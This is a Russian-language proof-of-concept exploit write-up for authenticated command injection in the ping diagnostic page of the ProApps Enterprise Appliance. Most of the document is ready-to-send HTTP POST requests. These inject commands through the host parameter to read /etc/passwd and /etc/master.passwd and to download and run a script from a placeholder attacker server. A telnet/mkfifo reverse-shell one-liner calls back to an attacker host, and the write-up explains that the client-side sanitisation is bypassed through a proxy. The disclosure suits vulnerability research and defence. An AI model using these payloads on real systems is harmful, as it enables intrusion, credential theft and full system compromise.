
Эксплойт proof-of-concept для аутентифицированного удаленного выполнения кода через внедрение команд в функции ping ProApps Enterprise Appliance, с полезной нагрузкой reverse shell и обходом санитизации на стороне клиента.
Производитель продукта: freebsdbrasil
Элемент: ProApps - Enterprise Appliance
Создатель редактора: DreamWeaver
PHP: PHP Version 7.3.18
Библиотека Java Script: Jquery UI 1.6 | Jquery 1.2.6
Сервер: NGINX
Операционная система: FreeBDS Unix
Удаленное выполнение кода
Уязвимость возникает из-за того, что пользователь может внедрять системные команды в приложение через функциональность ping, добавляя оператор последовательности команд в среде Unix, например (;, && или |). Для эксплуатации уязвимости необходима аутентификация. Пользователь должен принадлежать к группе разрешений «Status» и иметь разрешение «Modified». Также важно отметить, что для успешной эксплуатации требуется обойти санитизацию ввода. Приложение проверяет пользовательский ввод только на фронтенде, поэтому необходимо отправлять запрос через сетевой прокси, например. Таким образом ограничения, накладываемые приложением, обходятся.
После аутентификации необходимо будет перейти на страницу sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Эта страница предоставляет функцию для выполнения ICMP-запроса к произвольному хосту. Чтобы узнать больше об утилите ping и протоколе ICMP (запрос и ответ), обратитесь к RFC, указанному в разделе ссылок.
Приложение отправляет POST-запрос с параметрами host, testar_pacote и ttl, где host — цель ping, testar_pacote — количество отправляемых ICMP-запросов, а TTL — время жизни (TTL) пакетов. При отправке запроса приложение выполняет следующую команду в системе Unix: ping -c $testar_pacote $host. Ниже приведен POST-запрос, демонстрирующий функциональность:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Здесь обнаруживается вектор атаки. Пользователь может использовать уязвимость, отправив вредоносный POST-запрос через сетевой прокси, чтобы обойти санитизацию ввода, добавив один из операторов последовательности команд (;, && или |) в параметр host. Веб-приложение выполнит упомянутую выше команду ping, за которой последует дополнительная команда. Например, это может включать чтение конфиденциальных файлов, таких как /etc/passwd, /etc/master.passwd, или получение обратной оболочки, или выполнение произвольных команд.
Приведенный ниже POST-запрос является примером поддельного вредоносного запроса:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
HTTP POST-запрос к sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Прослушивая указанный порт с помощью Netcat, обратная оболочка успешно открывается.
Уязвимости RCE (удаленное выполнение кода) позволяют злоумышленнику выполнять произвольный код на удаленном устройстве, что может привести к полному компрометации системы, утечке данных, боковому перемещению, развертыванию вредоносного ПО, а также к репутационному и финансовому ущербу.